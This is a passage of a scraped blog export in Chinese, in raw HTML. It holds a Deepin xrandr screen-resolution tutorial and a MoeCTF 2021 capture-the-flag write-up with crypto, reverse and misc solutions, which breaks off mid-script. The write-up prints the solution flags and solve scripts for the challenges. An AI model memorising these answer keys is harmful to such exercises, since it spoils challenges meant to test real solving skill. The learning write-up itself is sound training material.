title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于是拿来装了 Deepin ,但是发现并没有适合自己屏幕的分辨率。\u003c/p\u003e\u003cp\u003e自己动手搜索解决,记录一下过程。\u003c/p\u003e\u003ch3 id=\"添加分辨率\"\u003e\u003ca href=\"#添加分辨率\" class=\"headerlink\" title=\"添加分辨率\"\u003e\u003c/a\u003e添加分辨率\u003c/h3\u003e\u003cp\u003e先查看推荐的配置,加入 \u003ccode\u003e-r\u003c/code\u003e 可以尽可能的减少黑边\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的显示\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 1920x1080 59.93 Hz (CVT 2.07M9-R) hsync: 66.59 kHz; pclk: 138.50 MHz\u003c/span\u003eModeline \u003cspan class=\"token string\"\u003e\"1920x1080R\"\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看输出的名字\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-q\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查出来我输出的名字叫 \u003ccode\u003eVGA-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e接下来执行(后面改成自己的)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"1920x1080R\"\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"保存分辨率\"\u003e\u003ca href=\"#保存分辨率\" class=\"headerlink\" title=\"保存分辨率\"\u003e\u003c/a\u003e保存分辨率\u003c/h3\u003e\u003cp\u003e这样修改之后重启就又没有了,所以保存配置\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/profile\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在文件 \u003cstrong\u003e末尾\u003c/strong\u003e 加上\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"1920x1080R\"\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e保存退出\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"来点成品\"\u003e\u003ca href=\"#来点成品\" class=\"headerlink\" title=\"来点成品\"\u003e\u003c/a\u003e来点成品\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/10/09/sCnVyacZrL2oKxl.jpg\" alt=\"psc.jpg\" style=\"zoom:67%;\" /\u003e","url":"https://blog.ksfu.top/posts/b368/"},{"title":"MoeCTF 2021 WriteUp","time":"2021-09-21T12:15:45Z","content":"\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 WriteUp\u003c/h1\u003e\u003cp\u003e\u003cd\u003chr /\u003e\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 WriteUp\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e没想到摸鱼摸到第9了(感谢Hidden了的师傅们(逃\u003c/del\u003e\u003c/p\u003e\u003cp\u003e挺菜的边做边学。\u003c/p\u003e\u003cp\u003e这次主要做了做 \u003ccode\u003eMisc\u003c/code\u003e 和 \u003ccode\u003eWeb\u003c/code\u003e ,其他的就看了看前面几个开了开视野(\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e题目全部在 \u003ccode\u003eWindows 7\u003c/code\u003e 环境下做出\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"目录\"\u003e\u003ca href=\"#目录\" class=\"headerlink\" title=\"目录\"\u003e\u003c/a\u003e目录\u003c/h2\u003e\u003ch3 id=\"Crypto(4-x2F-14)\"\u003e\u003ca href=\"#Crypto(4-x2F-14)\" class=\"headerlink\" title=\"Crypto(4\u0026#x2F;14)\"\u003e\u003c/a\u003eCrypto(4\u0026#x2F;14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eCryptography入门指北(略)\u003c/li\u003e\u003cli\u003ebeginOfCrypto\u003c/li\u003e\u003cli\u003eBabyMultiple\u003c/li\u003e\u003cli\u003eLazyRSA\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Reverse(2-x2F-14)\"\u003e\u003ca href=\"#Reverse(2-x2F-14)\" class=\"headerlink\" title=\"Reverse(2\u0026#x2F;14)\"\u003e\u003c/a\u003eReverse(2\u0026#x2F;14)\u003c/h3\u003e\u003col\u003e\u003cli\u003e逆向工程入门指北(略)\u003c/li\u003e\u003cli\u003ewelcome_to_the_world_of_re\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Classical-Cryptography(1-x2F-6)\"\u003e\u003ca href=\"#Classical-Cryptography(1-x2F-6)\" class=\"headerlink\" title=\"Classical Cryptography(1\u0026#x2F;6)\"\u003e\u003c/a\u003eClassical Cryptography(1\u0026#x2F;6)\u003c/h3\u003e\u003col\u003e\u003cli\u003eAugustine’s Way\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Bonus-0-x2F-1\"\u003e\u003ca href=\"#Bonus-0-x2F-1\" class=\"headerlink\" title=\"Bonus(0\u0026#x2F;1)\"\u003e\u003c/a\u003eBonus(0\u0026#x2F;1)\u003c/h3\u003e\u003ch3 id=\"MISC-12-x2F-12)之前是13个来着\"\u003e\u003ca href=\"#MISC-12-x2F-12)之前是13个来着\" class=\"headerlink\" title=\"MISC(12\u0026#x2F;12)之前是13个来着\"\u003e\u003c/a\u003eMISC(12\u0026#x2F;12)\u003cdel\u003e之前是13个来着\u003c/del\u003e\u003c/h3\u003e\u003col\u003e\u003cli\u003eMisc入门指北(略)\u003c/li\u003e\u003cli\u003efind_me\u003c/li\u003e\u003cli\u003eMacross\u003c/li\u003e\u003cli\u003eHomework\u003c/li\u003e\u003cli\u003eflipflipflip\u003c/li\u003e\u003cli\u003eWhite Album\u003c/li\u003e\u003cli\u003ePhone Call\u003c/li\u003e\u003cli\u003e社工题\u003c/li\u003e\u003cli\u003e好 康 的\u003c/li\u003e\u003cli\u003eeasyForensics\u003c/li\u003e\u003cli\u003eR P G\u003c/li\u003e\u003cli\u003e诺亚的日记\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Pwn(3-x2F-11)\"\u003e\u003ca href=\"#Pwn(3-x2F-11)\" class=\"headerlink\" title=\"Pwn(3\u0026#x2F;11)\"\u003e\u003c/a\u003ePwn(3\u0026#x2F;11)\u003c/h3\u003e\u003col\u003e\u003cli\u003ePwn入门指北(略)\u003c/li\u003e\u003cli\u003etest_your_nc\u003c/li\u003e\u003cli\u003eInt_overflow\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Web(9-x2F-14)\"\u003e\u003ca href=\"#Web(9-x2F-14)\" class=\"headerlink\" title=\"Web(9\u0026#x2F;14)\"\u003e\u003c/a\u003eWeb(9\u0026#x2F;14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eWeb入门指北(略)\u003c/li\u003e\u003cli\u003eWeb安全入门指北—GET\u003c/li\u003e\u003cli\u003eWeb安全入门指北—小饼干\u003c/li\u003e\u003cli\u003e2048\u003c/li\u003e\u003cli\u003eWeb_Inc\u003c/li\u003e\u003cli\u003eezinclude\u003c/li\u003e\u003cli\u003ebabeRCE\u003c/li\u003e\u003cli\u003eDo you know HTTP?\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"问卷题-1-x2F-2\"\u003e\u003ca href=\"#问卷题-1-x2F-2\" class=\"headerlink\" title=\"问卷题(1\u0026#x2F;2)\"\u003e\u003c/a\u003e问卷题(1\u0026#x2F;2)\u003c/h3\u003e\u003col\u003e\u003cli\u003e信息统计(略)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Crypto\"\u003e\u003ca href=\"#Crypto\" class=\"headerlink\" title=\"Crypto\"\u003e\u003c/a\u003eCrypto\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003ePython 真是绝绝子!\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"02-beginOfCrypto\"\u003e\u003ca href=\"#02-beginOfCrypto\" class=\"headerlink\" title=\"02 beginOfCrypto\"\u003e\u003c/a\u003e02 beginOfCrypto\u003c/h3\u003e\u003cp\u003e打开下载的文件发现下面有申必的数字,然后再看上面有 \u003ccode\u003eflag = xxx\u003c/code\u003e , 再看一眼代码,应该是把字符通过申必的方法转换成申必的数字,然后先赋值 \u003ccode\u003eflag = \u0026quot;moectf\u0026quot;\u003c/code\u003e 发现和前面几个数字对上了,然后用只能人工方法将26个字母和几个符号带进去都看了一遍值,找到了flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{c0me_on!begin_your_Crypt0_c4r33r}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-BabyMultiple\"\u003e\u003ca href=\"#03-BabyMultiple\" class=\"headerlink\" title=\"03 BabyMultiple\"\u003e\u003c/a\u003e03 BabyMultiple\u003c/h3\u003e\u003cp\u003e和上一题一样,带进去不同字符经过处理变成其他申必字符,然后利用智能人工全部带了一遍,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0u_4r3_gr34t_47_Mu17ic4ti0n}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 04 LazyRSA\u003cp\u003e去网上大概查了一下原理,然后对着教程里的代码改了一下\u003c/p\u003e\u003cp\u003e读的博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/hiwuchong/p/9069392.html\"\u003ehttps://www.cnblogs.com/hiwuchong/p/9069392.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/carroll_/article/details/79975226\"\u003ehttps://blog.csdn.net/carroll_/article/details/79975226\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Ahuuua/article/details/108830834\"\u003ehttps://blog.csdn.net/Ahuuua/article/details/108830834\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_41818069/article/details/106532665\"\u003ehttps://blog.csdn.net/weixin_41818069/article/details/106532665\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Higgerw/p/14289041.html\"\u003ehttps://www.cnblogs.com/Higgerw/p/14289041.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\"\u003ehttp://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_41429081/article/details/103403957\"\u003ehttps://blog.csdn.net/qq_41429081/article/details/103403957\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/tinyzhao/article/details/52681634\"\u003ehttps://blog.csdn.net/tinyzhao/article/details/52681634\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e Crypto\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eUtil\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003enumber \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e gmpy2\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e binasciip \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的p\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ec \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的c\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e n \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e p\u003cspan class=\"token operator\"\u003e*\u003c/span\u003eqe \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10001\u003c/span\u003ed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e gmpy2\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einvert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ee\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ep\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003em \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003epow\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ec\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ed\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003en\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# c = pow(m,e,n)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebinascii\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eunhexlify\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003estrip\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"L\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{w0w_yOU_Know_h0w_70_d3crypt_th3_RSA}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Reverse\"\u003e\u003ca href=\"#Reverse\" class=\"headerlink\" title=\"Reverse\"\u003e\u003c/a\u003eReverse\u003c/h2\u003e\u003ch3 id=\"02-welcome-to-the-world-of-re\"\u003e\u003ca href=\"#02-welcome-to-the-world-of-re\" class=\"headerlink\" title=\"02 welcome_to_the_world_of_re\"\u003e\u003c/a\u003e02 welcome_to_the_world_of_re\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e之前找简单软件注册码的法子\u003c/del\u003e\u003c/p\u003e\u003cp\u003e直接拖进 \u003ccode\u003eOD\u003c/code\u003e 能找到,拖进文本也行(\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/RwJMH68qB2hKjIE.png\" alt=\"re1.PNG\" style=\"zoom:80%;\" /\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZL6sevtD1lGIrzk.png\" alt=\"re2\" style=\"zoom:80%;\" /\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{W31C0Me_t0_m03CTF_2021_w0o0o0oooo0ooooo0o0oooo0!!!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Classical-Cryptography\"\u003e\u003ca href=\"#Classical-Cryptography\" class=\"headerlink\" title=\"Classical Cryptography\"\u003e\u003c/a\u003eClassical Cryptography\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e看的时候离结束还有半天了,就看了第一个\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"01-Classical-Cryptography\"\u003e\u003ca href=\"#01-Classical-Cryptography\" class=\"headerlink\" title=\"01 Classical Cryptography\"\u003e\u003c/a\u003e01 Classical Cryptography\u003c/h3\u003e\u003cp\u003e前几个和 \u003ccode\u003emoectf\u003c/code\u003e 对比了一下发现是每个字母后移了一位\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{e3sy_Au9u1ne!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Misc\"\u003e\u003ca href=\"#Misc\" class=\"headerlink\" title=\"Misc\"\u003e\u003c/a\u003eMisc\u003c/h2\u003e\u003ch3 id=\"02-find-me\"\u003e\u003ca href=\"#02-find-me\" class=\"headerlink\" title=\"02 find_me\"\u003e\u003c/a\u003e02 find_me\u003c/h3\u003e\u003cp\u003e拖进 \u003ccode\u003e010 Editor\u003c/code\u003e\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{hs_g1v3_u_fl@g}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Macross\"\u003e\u003ca href=\"#03-Macross\" class=\"headerlink\" title=\"03 Macross\"\u003e\u003c/a\u003e03 Macross\u003c/h3\u003e\u003cp\u003e百度搜了半天不晓得这是啥,然后上 Google 搜出来是个记录鼠标移动的软件\u003cdel\u003e(Google真是绝绝子)\u003c/del\u003e,下载安装,然后打开 Windows 图画,运行文件,得到名画\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/BNxQez71C68ObY9.png\" alt=\"Mar\" style=\"zoom:80%;\" /\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Rec0rder_15_Funny}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Homework\"\u003e\u003ca href=\"#04-Homework\" class=\"headerlink\" title=\"04 Homework\"\u003e\u003c/a\u003e04 Homework\u003c/h3\u003e\u003cp\u003e先看了一遍啥也没找到,然后先全选清除格式发现半个flag,然后用 \u003ccode\u003e7-zip\u003c/code\u003e 解压出来直接看 \u003ccode\u003exml\u003c/code\u003e 里东西了,搜 \u003ccode\u003e\u0026#125;\u003c/code\u003e,找到后一半,当然在 Word 里搜 \u003ccode\u003e\u0026#123;\u003c/code\u003e 发现是个文本框,拿到后半段flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{0h_U_f1nd_m3!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-flipflipflip\"\u003e\u003ca href=\"#05-flipflipflip\" class=\"headerlink\" title=\"05 flipflipflip\"\u003e\u003c/a\u003e05 flipflipflip\u003c/h3\u003e\u003cp\u003e这个题可太折磨人了……\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/1go0/p/9977359.html\"\u003ehttps://www.cnblogs.com/1go0/p/9977359.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/mq0036/p/6544055.html\"\u003ehttps://www.cnblogs.com/mq0036/p/6544055.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026locationNum=2\"\u003ehttps://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.it1352.com/904413.html\"\u003ehttps://www.it1352.com/904413.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnpython.com/qa/153478\"\u003ehttps://www.cnpython.com/qa/153478\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/h-zhang/p/10568028.html\"\u003ehttps://www.cnblogs.com/h-zhang/p/10568028.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/zuferj115/p/11547486.html\"\u003ehttps://www.cnblogs.com/zuferj115/p/11547486.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u010065754/article/details/81710160\"\u003ehttps://blog.csdn.net/u010065754/article/details/81710160\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/erchun/p/11766408.html\"\u003ehttps://www.cnblogs.com/erchun/p/11766408.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\"\u003ehttps://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_43742794/article/details/104210963\"\u003ehttps://blog.csdn.net/weixin_43742794/article/details/104210963\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/qsmyjz/p/11987815.html\"\u003ehttps://www.cnblogs.com/qsmyjz/p/11987815.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我超,100多MB的字符串,刚开始没头绪最后xjb猜是base64,那么大文件得整个脚本,然后网上搜\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users(后面文件路径省略了)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token 